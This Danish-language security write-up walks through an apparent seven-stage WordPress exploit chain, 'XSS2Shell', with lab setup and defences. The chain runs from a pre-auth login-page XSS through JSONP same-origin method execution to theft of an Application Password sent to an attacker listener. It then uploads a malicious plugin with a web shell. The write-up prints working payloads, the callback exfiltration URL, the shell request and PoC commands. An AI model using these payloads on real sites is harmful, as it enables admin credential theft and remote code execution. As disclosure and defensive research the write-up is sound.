Kun autoriseret testning.
Alt nedenfor blev kørt mod et lokalt laboratorium (WordPress 7.0.2 på localhos). Brug ikke disse teknikker mod systemer, du ikke ejer eller har udtrykkelig tilladelse til at teste.
Resumé
XSS2Shell er ikke en enkelt fejl — det er en syv-trins udnyttelseskæde, der starter med ét tegn (< efterfulgt af et mellemrum), der omgår to forskellige HTML-parsere på WordPress' login-side, og ender med PHP, der udføres på serveren som www-data.
Hvad gør det farligt:
- Trin 1 kræver nul godkendelse — alle kan udløse JavaScript på
wp-login.php. - Det ligger i WordPress Core — ikke et plugin; næsten alle understøttede installationer siden 2016 er berørt.
- Det bruger WordPress' egen kode —
user-profile.js, REST JSONP, Application Passwords, plugin-upload — som gadgets. - Fuld RCE er demonstreret og anerkendt af WordPress — selvom det kræver, at en indlogget administrator narres til ét klik.
Denne artikel gennemgår hvert trin med skærmbilleder fra vores lokale laboratorium.
Labmiljøet
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 på http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Ethvert WordPress-websted eksponerer /wp-login.php. Den side er indgangspunktet for hele kæden.
Trin 0: Parser-differentiale (rodårsag)
Når login mislykkes, gentager WordPress det indtastede brugernavn i en fejlmeddelelse. Brugernavnet passerer gennem to sanitizers, der er uenige om, hvad et "tag" er:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Payloaden bruger et mellemrum efter<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XPå sårbar WordPress 7.0.2 overlever dette sanitering og bliver til live DOM:
./scripts/demo-parser-diff.sh http://localhost:9080
På patchet WordPress 7.0.4 er den samme payload HTML-escaped i fejlmeddelelsen — ingen live elementer.
Denne fejl har eksisteret siden WordPress 4.7 (2016) og er blevet overset af års sikkerhedsaudits.
Trin 1: Pre-autentificerings-XSS (intet login påkrævet)
Injicerede DOM-noder matcher selektorer, som WordPresses egen user-profile.js leder efter på login-siden (indlæst til adgangsnulstillingsforløbet):
.reset-pass-submit .wp-generate-pwklikkes automatisk ved sideindlæsning- Klikket bobler op til
#color-picker's delegerede handler - Vagtcheck
user_id === checkuser_idbestår, fordi begge erundefined - jQuery POST'er til
ajaxurl— menajaxurleksisterer ikke på login-siden…
Medmindre vi overskriver den:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Elementet <area id=ajaxurl> bliver til window.ajaxurl. jQuery kalder .toString() → returnerer href. WordPress REST returnerer JSONP → jQuery globalEval() → alert()kører på WordPress-oprindelsen.

Indsend formularen (eller åbn demo/stage1-preauth-xss.html og klik på Kør trin 1):

Konsekvens på dette trin alene: credential-phishing på det rigtige domæne, session riding, same-origin API-kald — uden nogen form for autentificering.
Trin 2: Social manipulation — admin-klikket
Trin 2–7 kræver, at en indlogget administrator åbner en angriberkontrolleret side. Dette er den friktion, der holder CVSS under 10 — men det er realistisk ved målrettede angreb.
Administratoren kan modtage: "Din session er udløbet — klik her for at godkende igen."

Når der klikkes, gør angriberens side:
- Åbner et underordnet popup-vindue (
about:blank) - Omdirigerer hovedvinduet til WordPress's autorisationsside for Application Password
- Skriver en XSS-formular ind i det underordnede popup-vindue og indsender den automatisk til
wp-login.php

Trin 3: Same-Origin Method Execution (SOME) — automatisk godkendelse
Det underordnede vindues XSS-payload ændrer JSONP-callbacket fra alert til:
window.opener.approve.clickWordPress REST pakker svaret ind:
/**/window.opener.approve.click({...})Kørselstiden løser window.opener (forældreside) → .approve (knappen #approve) → .click(). Knappen Godkend for Application Password klikkes automatisk — uden brugerinteraktion på den pågældende side.

Bemærk callback-URL'en på siden: legitimationsoplysninger vil blive sendt til http://127.0.0.1:9090/callback?...&password=[------].
Trin 4: Opfangning af applikationsadgangskode
WordPress opretter en ny applikationsadgangskode og omdirigerer til angriberens success_url med legitimationsoplysningerne i forespørgselsstrengen:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXAngriberen har nu HTTP Basic auth-legitimationsoplysninger til WordPress REST API — fra adminens egen session, uden at admin har indtastet noget efter det første linkklik.
Trin 5: Publicering af angriberens kontrollerede side
Ved hjælp af den stjålne applikationsadgangskode sender angriberen en POST-anmodning til /wp-json/wp/v2/pages og publicerer en side med indlejret JavaScript. Administratorer har unfiltered_html-rettigheden — script-tags overlever.
Trin 6: Plugin-upload via adminsession
Angriberens JavaScript (der kører i adminbrugerens browser på den publicerede side):
- Henter
/wp-admin/plugin-install.php?tab=uploadfor upload-nonce - Sender en ondsindet ZIP-fil via POST til
/wp-admin/update.php?action=upload-plugin - WordPress udpakker den til
wp-content/plugins/xss2shell/
Plugin'et behøver ikke at være aktiveret. PHP-filer i plugin-mappen er direkte tilgængelige via nettet.
Trin 7: Fjernudførelse af kode
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiSvar:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Angriberen kan nu udføre vilkårlige kommandoer som webserverbrugeren — læse wp-config.php (databaselegitimationsoplysninger), dumpe databasen og bevæge sig lateralt.
Fuld PoC-terminaloutput:

Den fulde kæde i overblik
sequenceDiagram participant A as Angriberserver participant V as Ofrets browser participant W as WordPress 7.0.2 Note over V,W: Admin er logget ind V->>A: Åbner phishing-link (1 klik) A->>V: Angriberens HTML + underordnet popup V->>W: Hovedvindue → authorize-application.php V->>W: Underordnet vindue sender XSS-payload til wp-login.php W->>V: JSONP udfører window.opener.approve.click Note over V,W: Godkend-knap klikkes automatisk W->>A: Omdirigering med Application Password A->>W: REST API udgiver side (Basic auth) V->>W: Admin besøger siden → uploader plugin-ZIP V->>W: GET shell.php?cmd=whoami W-->>A: www-dataHvor farlig er den egentlig?
Hvad er garanteret (høj sikkerhed)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Hvad kræver yderligere betingelser (RCE-sti)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Alvorlighedskalibrering
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Konklusion: Dette er ikke en ormbar zero-click RCE som Log4Shell. Det er en dybt teknisk sårbarhed på kerneniveau, der berører ~43% af nettet, hvor:
- Trin 1 alene er en alvorlig pre-auth XSS på login-siden
- Den fulde kæde konverterer ét adminklik til serverkompromittering
- Grundårsagen (parser-differentiering) gælder for enhver kodebase, der bruger flere HTML-parsere
WordPress's egen meddelelse angiver, at RCE kræver "betingelser uden for angriberens kontrol" og "vellykket social engineering." Det er korrekt — men den demonstrerede kæde gør disse betingelser opnåelige med et enkelt link.
Reproducér hele kæden lokalt
# 1. Start lab make up # 2. Aktivér Application Passwords på HTTP (kun lab) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Start PoC-lytter python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. I browseren: # a. Log ind som admin på http://localhost:9080/wp-login.php # b. Åbn http://127.0.0.1:9091/phishing-sim.html # c. Klik på "Åbn angriberside" (tillad popups) # d. Vent på terminaloutput med shell + whoamiForsvar
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Rettelsen tilføjer esc_html() til brugernavnet i login-fejlstien — hvilket sikrer, at strengen behandles som tekst og ikke genfortolkes som HTML.
Hvorfor dette er relevant for sikkerhedsforskning
Hvert led i kæden er individuelt kedeligt:
- Parser-differens → lav-alvorlighed vedligeholdelse
- Forkert script indlæst på login-side → lav
- JSONP-callback valideret af regex → mellem
- Application Password i omdirigerings-URL → mellem
- Plugin-mappe udfører PHP uden aktivering → kendt design
Samlet set er de CVSS 8,9 og en shell.
Læren: når du vurderer XSS-fund, så spørg "hvad er allerede indlæst på denne side, og hvad vil det gøre, hvis jeg giver det de rigtige DOM-noder?" Alvorlighed er en egenskab ved kæden, ikke den individuelle fejl.



